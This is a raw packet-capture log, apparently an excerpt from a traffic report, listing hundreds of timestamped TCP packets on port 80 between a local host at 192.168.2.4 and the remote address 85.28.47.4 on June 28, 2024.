Jun 28, 2024 22:31:58.615613937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.615619898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.615645885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.616309881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.616321087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.616349936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.616374016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.616513968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.616524935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.616535902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.616545916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.616552114 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.616555929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.616565943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.616571903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.616580963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.616616011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.626849890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.626894951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.626928091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.626940012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.626967907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.626977921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.627329111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.627340078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.627356052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.627367020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.627372980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.627377987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.627393007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.627415895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.628145933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.628158092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.628168106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.628180027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.628191948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.628196001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.628206968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.628235102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.628815889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.628859997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.638629913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.638641119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.638652086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.638688087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.638705015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.638792038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.638803959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.638844013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.639147043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639157057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639168024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639179945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639193058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.639195919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639206886 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.639233112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.639869928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639882088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639892101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639903069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.639919043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.639930964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.639954090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.640503883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.640515089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.640527964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.640538931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.640549898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.640554905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.640568018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.640583992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.640599012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.640623093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.641355038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.641366959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.641377926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.641390085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.641401052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.641405106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.641433001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.642232895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.642245054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.642255068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.642266989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.642277956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.642282963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.642290115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.642304897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.642323017 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.643142939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.643153906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.643165112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.643176079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.643187046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.643187046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.643198967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.643219948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.643240929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.643990040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644001961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644012928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644023895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644033909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644038916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.644046068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644062996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.644085884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.644860983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644872904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644884109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644896984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644907951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.644912004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.644931078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.644958973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.645737886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.645750046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.645760059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.645771980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.645782948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.645787001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.645793915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.645804882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.645806074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.645824909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.645853996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.646481037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.646492004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.646502972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.646514893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.646527052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.646531105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.646538019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.646549940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.646550894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.646570921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.646588087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.647434950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.647447109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.647458076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.647469997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.647480965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.647488117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.647495985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.647507906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.647517920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.647521019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.647538900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.647559881 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.648411036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.648422956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.648433924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.648444891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.648454905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.648463964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.648466110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.648477077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.648500919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.648500919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.648523092 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.698229074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.698276043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.698292017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.698323011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.698364019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.698524952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.698568106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.698581934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.698594093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.698605061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.698630095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.698657990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.707856894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.707925081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.707957029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.707966089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.708002090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.708142996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.708153963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.708192110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.708384037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.708444118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.708540916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.708551884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.708561897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.708573103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.708585024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.708611965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.709100008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.709110975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.709121943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.709155083 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.709168911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.709462881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.709475040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.709516048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.719418049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.719470978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.719480038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.719481945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.719510078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.719719887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.719765902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.719856977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.719866991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.719877005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.719887018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.719906092 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.719930887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.720460892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.720470905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.720485926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.720498085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.720503092 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.720509052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.720526934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.720550060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.721072912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.721121073 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.731306076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.731354952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.731364965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.731389046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.731391907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.731461048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.731579065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.731589079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.731606960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.731622934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.731645107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.732037067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.732048035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.732059002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.732069016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.732079983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.732079983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.732105017 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.732126951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.732777119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.732788086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.732796907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.732822895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.732846022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.733130932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.733139992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.733151913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.733161926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.733171940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.733172894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.733184099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.733185053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.733210087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.733218908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.734085083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.734096050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.734105110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.734114885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.734124899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.734133959 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.734134912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.734146118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.734153986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.734158993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.734175920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.734184980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.735043049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.735053062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.735061884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.735071898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.735083103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.735090971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.735094070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.735121012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.735132933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.735982895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.735994101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736002922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736012936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736022949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736032963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.736032963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736043930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736058950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.736078024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.736948013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736958981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736968040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736977100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736985922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.736995935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.737000942 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.737006903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.737011909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.737031937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.737051964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.737988949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738007069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738017082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738022089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738030910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738038063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.738040924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738048077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.738051891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738073111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.738102913 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.738890886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738903046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738912106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738922119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738931894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738940954 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.738941908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738953114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.738955021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.738971949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.739001036 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.739655972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.739691019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.739696980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.739701033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.739711046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.739717007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.739726067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.739734888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.739744902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.739764929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.739779949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.740792990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.740802050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.740812063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.740822077 CEST	80	49731	85.28.47.4	192.168.2.4
